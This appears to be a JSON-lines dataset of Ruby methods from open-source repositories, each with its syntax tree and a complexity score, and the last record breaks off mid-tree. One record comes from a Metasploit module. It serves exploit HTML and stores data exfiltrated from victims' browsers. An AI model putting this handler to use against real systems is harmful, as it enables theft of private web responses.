{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/wp_table.rb","start_line":166,"raw_source":"def build_table_rows(work_packages, query, columns, sums)\n    rows = work_packages.map do |work_package|\n      build_table_row(work_package, columns)\n    end\n    rows.unshift build_header_row(columns)\n    rows.push build_sum_row(columns, sums) if query.display_sums?\n    rows\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_table_rows\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"arg\",\"children\":[\"sums\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"build_table_row\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"unshift\",{\"type\":\"send\",\"children\":[null,\"build_header_row\",{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"display_sums?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"build_sum_row\",{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"lvar\",\"children\":[\"sums\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"rows\"]}]}]}","id":"a961b439-a425-4c27-8147-9093e51a9468"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/policies/inbox_policy.rb","start_line":13,"raw_source":"def resolve\n      user.assigned_inboxes\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"assigned_inboxes\"]}]}","id":"078cd039-c283-49aa-82d2-c3779881b08e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/groups/scopes/visible.rb","start_line":42,"raw_source":"def visible(user = User.current)\n        if user.allowed_globally?(:view_all_principals)\n          all\n        else\n          where(\n            Group.arel_table[:id].in(\n              Arel::Nodes::UnionAll.new(\n                Group.unscoped.containing_user(user).select(:id).arel,\n                Group.unscoped.in_visible_project(user).select(:id).arel\n              )\n            )\n          )\n        end\n      end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visible\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"view_all_principals\"]}]},{\"type\":\"send\",\"children\":[null,\"all\"]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"UnionAll\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"unscoped\"]},\"containing_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"unscoped\"]},\"in_visible_project\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]}]}]}]}","id":"083bd341-a8a4-44f4-9066-031859745ef3"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/acceptance/plugins/handlers/team_1_handler.rb","start_line":58,"raw_source":"def handle_deployment(payload, config)\n    {\n      status: \"deployment_processed\",\n      handler: \"Team1Handler\",\n      deployment_id: payload[\"deployment_id\"],\n      environment: payload[\"environment\"] || config.dig(:opts, :env),\n      teams_notified: config.dig(:opts, :teams),\n      timestamp: Time.now.utc.iso8601\n    }\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_deployment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"deployment_processed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handler\"]},{\"type\":\"str\",\"children\":[\"Team1Handler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deployment_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"environment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"sym\",\"children\":[\"env\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teams_notified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"sym\",\"children\":[\"teams\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"iso8601\"]}]}]}]}","id":"9f99eb66-026a-4b76-b84e-385e83002d5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/custom_service.rb","start_line":47,"raw_source":"def initialize(name:, version: nil)\n        super(name: name)\n        @requested_version = version || self.class.latest_version\n\n        raise ArgumentError, \"No versions registered for #{self.class.name}\" if self.class.available_versions.empty?\n\n        return if self.class.version_exists?(@requested_version)\n\n        raise ArgumentError, \"Version #{@requested_version} not found. \" \\\n          \"Available: #{self.class.available_versions.join(', ')}\"\n      end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@requested_version\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"latest_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"available_versions\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No versions registered for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"version_exists?\",{\"type\":\"ivar\",\"children\":[\"@requested_version\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_version\"]}]},{\"type\":\"str\",\"children\":[\" not found. \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Available: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"available_versions\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"c0e72a8a-c533-4b6a-9062-634a20ff1fbd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/push_options_handler_service.rb","start_line":90,"raw_source":"def merge_requests\n      @merge_requests ||= MergeRequest.from_project(target_project)\n                                      .opened\n                                      .from_source_branches(branches)\n                                      .index_by(&:source_branch)\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"from_project\",{\"type\":\"send\",\"children\":[null,\"target_project\"]}]},\"opened\"]},\"from_source_branches\",{\"type\":\"send\",\"children\":[null,\"branches\"]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]}]}]}]}]}","id":"a25768b6-0558-4b94-b0ec-e0f48982d5ca"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":725,"raw_source":"def ensure_staff\n    raise Discourse::InvalidAccess.new unless current_user && current_user.staff?\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_staff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"staff?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]}]}]}]}","id":"64dd0143-885f-4c4c-b577-5ea7e20484e7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/sidebar_edit_categories.rb","start_line":40,"raw_source":"def toggle_category_checkbox(category)\n        find(\n          \".sidebar-categories-form .sidebar-categories-form__category-row[data-category-id='#{category.id}'] .sidebar-categories-form__input\",\n        ).click\n\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_category_checkbox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".sidebar-categories-form .sidebar-categories-form__category-row[data-category-id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'] .sidebar-categories-form__input\"]}]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"cf90dff9-88cb-4805-9e2f-6acbc8fad9f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/hll_redis_counter.rb","start_line":61,"raw_source":"def legacy_event?(event_name)\n          legacy_events.include?(event_name)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"legacy_event?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"legacy_events\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]}]}","id":"83327d7a-6020-410b-b732-cc31923b42e8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/log/test_console_adapter.rb","start_line":73,"raw_source":"def test_options(level)\n    @console_logger.send(level, \"subject\", kwarg1: \"opt1\", kwarg2: \"opt2\")\n    lines = @logdev.logs[0].split(\"\\n\")\n    args = JSON.parse(lines[1..].collect { |str| str.sub(/\\s+\\|/, \"\") }.join(\"\\n\"))\n    assert_equal([\n                   1,\n                   \"#{@timestamp_str} [#{level}]:   0.0s: subject\",\n                   { \"kwarg1\" => \"opt1\", \"kwarg2\" => \"opt2\" }\n                 ],\n                 [\n                   @logdev.logs.size,\n                   lines[0],\n                   args\n                 ])\n  end","complexity_score":22.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@console_logger\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"level\"]},{\"type\":\"str\",\"children\":[\"subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kwarg1\"]},{\"type\":\"str\",\"children\":[\"opt1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kwarg2\"]},{\"type\":\"str\",\"children\":[\"opt2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logdev\"]},\"logs\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\\\\|\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"str\",\"children\":[\"]:   0.0s: subject\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"kwarg1\"]},{\"type\":\"str\",\"children\":[\"opt1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"kwarg2\"]},{\"type\":\"str\",\"children\":[\"opt2\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logdev\"]},\"logs\"]},\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"1df03555-a4b6-49c4-82d4-bed239365230"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":2323,"raw_source":"def test_validations_still_fire_on_unchanged_association_with_custom_validation_context\n    firm_with_low_credit = Firm.create!(name: \"Something\", account: Account.new(credit_limit: 50))\n\n    assert_predicate firm_with_low_credit, :valid?\n    assert_not firm_with_low_credit.valid?(:bank_loan)\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validations_still_fire_on_unchanged_association_with_custom_validation_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm_with_low_credit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Something\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[50]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"firm_with_low_credit\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm_with_low_credit\"]},\"valid?\",{\"type\":\"sym\",\"children\":[\"bank_loan\"]}]}]}]}]}","id":"99a498a7-71ce-410c-8d3d-14d335ea5ef3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/conditions/base.rb","start_line":77,"raw_source":"def self.getter(custom_action)\n    ids = custom_action.send(association_ids)\n\n    new(ids) if ids.any?\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"getter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_action\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"association_ids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]},null]}]}]}","id":"4107fdec-87ac-412c-8ccb-d1f6aabb9aec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/tftp/tftp_transfer_util.rb","start_line":64,"raw_source":"def rport\n    datastore['RPORT'] || 69\n  end","complexity_score":3.68,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},{\"type\":\"int\",\"children\":[69]}]}]}","id":"4f9aa6de-d0e1-433b-8c67-0882a853a786"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/slack_option_service.rb","start_line":29,"raw_source":"def current_user\n      ChatNames::FindUserService.new(\n        params.dig(:team, :id),\n        params.dig(:user, :id)\n      ).execute\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatNames\"]},\"FindUserService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"team\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"execute\"]}]}","id":"7f698751-034e-4226-adae-4aafeea3a083"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/update_package_from_metadata_service.rb","start_line":193,"raw_source":"def package_filename\n        \"#{package_name.downcase}.#{package_version.downcase}.#{symbol_package? ? 'snupkg' : 'nupkg'}\"\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"package_filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_version\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"symbol_package?\"]},{\"type\":\"str\",\"children\":[\"snupkg\"]},{\"type\":\"str\",\"children\":[\"nupkg\"]}]}]}]}]}","id":"c4de6ee6-03c9-4a4a-9674-dd0bbe3e6c77"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20190511134027_add_silenced_at_suspended_at_to_accounts.rb","start_line":38,"raw_source":"def down\n    # Block or silence accounts that have a date set\n    Account.where(suspended: false).where.not(suspended_at: nil).in_batches.update_all(suspended: true)\n    Account.where(silenced: false).where.not(silenced_at: nil).in_batches.update_all(silenced: true)\n\n    change_table(:accounts, bulk: true) do |t|\n      t.column :silenced_at, :datetime\n      t.column :suspended_at, :datetime\n    end\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"silenced_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"suspended_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]}]}]}]}]}","id":"b56c2d08-4d97-4c49-97d0-88f84c6ae949"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb","start_line":83,"raw_source":"def on_request_uri(cli, request)\n    vprint_status(\"Request '#{request.method} #{request.uri}'\")\n    if request.uri.end_with? 'crossdomain.xml'\n      print_status \"Responding to crossdomain request..\"\n      send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')\n    elsif request.uri.end_with? '.log'\n      body = URI.decode(request.body)\n      file = store_loot(\n        \"html\", \"text/plain\", cli.peerhost, body, \"flash_jsonp_rosetta\", \"Exfiltrated HTTP response\"\n      )\n      url = body.lines.first.gsub(/.*?=/, '')\n      print_good \"#{body.length} bytes captured from target #{cli.peerhost} on URL:\\n#{url}\"\n      print_good \"Stored in #{file}\"\n    else\n      print_status \"Serving exploit HTML\"\n      send_response_html(cli, exploit_html)\n    end\n  end","complexity_score":37.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"crossdomain.xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Responding to crossdomain request..\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"crossdomain_xml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-type\"]},{\"type\":\"str\",\"children\":[\"text/x-cross-domain-policy\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"html\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]},{